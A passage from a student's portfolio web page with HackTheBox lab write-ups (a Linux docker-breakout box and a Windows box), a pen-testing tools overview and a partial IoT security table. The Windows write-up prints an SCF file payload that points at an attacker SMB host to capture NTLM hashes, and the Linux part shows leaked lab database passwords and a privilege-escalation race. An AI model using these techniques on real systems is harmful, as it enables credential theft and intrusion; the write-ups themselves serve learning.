around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a href="img/portfolio/minor/red/htb_linux/RogueNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RogueNode-server.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/ExploitLoop.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitLoop.png" alt=""></a> <p>This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.</p> <a href="img/portfolio/minor/red/htb_linux/ExploitRun.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ExploitRun.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/CrashGameServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CrashGameServer.png" alt=""></a> <p>I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.</p> <a href="img/portfolio/minor/red/htb_linux/RootOnDocker.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootOnDocker.png" alt=""></a> <p>And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.</p> <a href="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/InfectBashAsGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/RootFlag.png" alt=""></a> <p>That's it! We are root and got the flag!</p> <p>Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal22" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Windows Write-up</p> <a href="img/portfolio/minor/red/htb_windows/DriverCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/DriverCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <a href="img/portfolio/minor/red/htb_windows/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/NMapOutput.png" alt=""></a> <p>When navigating to the webpage we are greeted by a login screen. After some searching and not finding anything useful I tried to login with just a default password admin:admin it was a longshot but it worked!</p> <a href="img/portfolio/minor/red/htb_windows/Dashboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/Dashboard.png" alt=""></a> <p>The only button that worked on the website was Firmware updates where you can upload a file. Knowing that SMB was also an open port I found this <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">website</a> this could potentially it so lets try it out. </p> <pre style="text-align: left"> <code class="prettyprint"> [Shell] Command=2 Iconfile=\\10.10.14.161\share\test.ico [Taskbar] Command=ToggleDesktop </code> </pre> <a href="img/portfolio/minor/red/htb_windows/ResponderOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ResponderOutput.png" alt=""></a> <p>I created a payload like the example given on the site I found started responder and got a few hits. Now we know the username and maybe the password if we manage to crack it. We know from the responder output that it is a NTLM hash so lets put Hashcat on it and see what we'll get.</p> <a href="img/portfolio/minor/red/htb_windows/HashcatOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/HashcatOutput.png" alt=""></a> <p>Hashcat cracked the password with ease and now we can take a look at the SMB folder to see if we can find anything interesting.</p> <a href="img/portfolio/minor/red/htb_windows/SMBMap.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SMBMap.png" alt=""></a> <p>We didn't find anything interesting but knowing from the NMap output we also know that the RDP port is open so maybe it uses the same password.</p> <a href="img/portfolio/minor/red/htb_windows/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/UserFlag.png" alt=""></a> <p>This was indeed the case and now we already have the user flag. For priv esc running at least WinPEAS is a no-brainer. So I used SimpleHTTPServer to get WinPEAS on the target machine.</p> <a href="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/WgetWinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td 